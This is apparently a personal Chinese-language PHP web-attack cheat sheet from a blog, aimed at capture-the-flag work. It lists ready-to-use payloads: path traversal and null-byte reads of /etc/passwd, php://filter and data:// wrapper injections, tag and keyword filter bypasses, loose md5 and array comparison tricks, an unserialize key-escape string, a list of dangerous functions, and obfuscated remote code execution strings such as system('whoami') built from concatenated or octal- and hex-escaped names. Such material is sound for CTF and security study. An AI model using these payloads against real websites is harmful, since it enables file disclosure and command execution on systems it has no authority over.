自用-PHP

重要的文件

/etc/passwd
/etc/my.conf

目录遍历

<?php 
$a=$_GET['a'];
include('/var/www/html'.$_a);   // payload:?a=../../etc/passwd
?>

00截断

<?php 
$a=$_GET['a'];
include($_a.'/var/www/html');   // payload:?a=/etc/passwd%00
?>

伪协议

php://input

payload:读取POST传入数据

php://filter

payload:php://filter/read=convert.base64-encode/resource=test.php
//resource前可以再加一级目录如:php://filter/read=convert.base64-encode/index/resource=test.php

file://

payload:file://+文件目录

data://

payload:data://text;plain,<?php phpinfo();?>
or
payload:data://text;plain;base64,PD9waHAgcGhwaW5mbygpPz4=

php被过滤时—短标签

<?=/*函数*/?>

<?被过滤时

<script language="php">PHP语句</script>

phpinfo中的敏感信息

绝对路径:_SERVER["SCRIPT_FILENAME"]
支持的程序
真实ip:_SERVER["SERVER_ADDR"]
敏感配置:
	allow_url_include:是否允许includeI()和require()函数包含URL(HTTP,HTTPS)作为文件处理。
	allow_url_fopen:是否允许将URL(HTTP,HTTPS等)作为文件打开处理。
	//只有当allow_url_fopen=On和allow_url_include=On时,include等其他包含函数才会将URL代表的文件包含执行。
	disable_functions:禁用php执行系统命令的函数。//绕过:https://www.cnblogs.com/-qing-/p/10944118.html
	enable_dl:利用扩展库绕过disable_functions,需要开启次选项。
	open_basedir:设置文件读取的时候的目录限制。
	short_open_tag:判断服务器是不是支持短标签。
	server api:1.FPM/FastCGI 多用于和nginx通信,当然也可用于其他web中间件。
				2.Apache 2.0 Handler php为apache提供的专用SAPI。
				3.Command Line Interface php命令行。
	xdebug
	opcache
	imap

md5

<?php
$a=$_GET['A'];
$b=$_GET['B'];
if(md5($a)==md5($b)){
//xxxxxx
}
?>
若两个md5值的开头均为0,php会认为他们相同

is_numeric

会忽视0x这种十六进制的数

in_array/switch/intval

in_array/switch/intval 会先将类型转为整形,再进行判断。转换的时候,如果将字符串转换为整形,从字符串非整形的地方截止转换,如果无法转换,将会返回0。

长度检测

使用数组绕过

反序列化

键值逃逸

"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

魔法方法

可能有用的函数

"exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents","call_user_func","file_get_contents"

用数组可以绕过的函数

sha1、MD5、is_numeric、strpos、strcmp

无参RCE

localconv():函数返回一包含本地数字及货币格式信息的数组,数组第一项是.
current()/pos():函数返回数组中的当前元素,初始指向第一个元素。
所以current(localeconv())=='.'  (永远是点)
scandir('.'):列出当前目录中的文件和目录。

通过字符串的方式传递给一个变量

?c=$_GET[a]($_GET[b])&a=system&b=cat flag
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat /flag
//hex2bin(dechex('_GET'))

preg_match()绕过

数组:return 0
回溯次数:return 0
换行符

字符串拼接绕过

当PHP>=7时

(p.h.p.i.n.f.o)();
(sy.(st).em)(whoami);
(sy.(st).em)(who.ami);
(s.y.s.t.e.m)("whoami");

字符串转义绕过

当PHP>=7时

"\x70\x68\x70\x69\x6e\x66\x6f"();#phpinfo();
"\163\171\163\164\145\155"('whoami');#system('whoami');
"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('id');#system('whoami');
"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami'); 
//八进制的方法可以绕过无字母传参进行代码执行

内置函数访问绕过

get_defined_functions():返回所有已定义函数的数组
get_defined_functions()[internal][xxx]()

URL编码取反绕过

异或绕过

basename()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值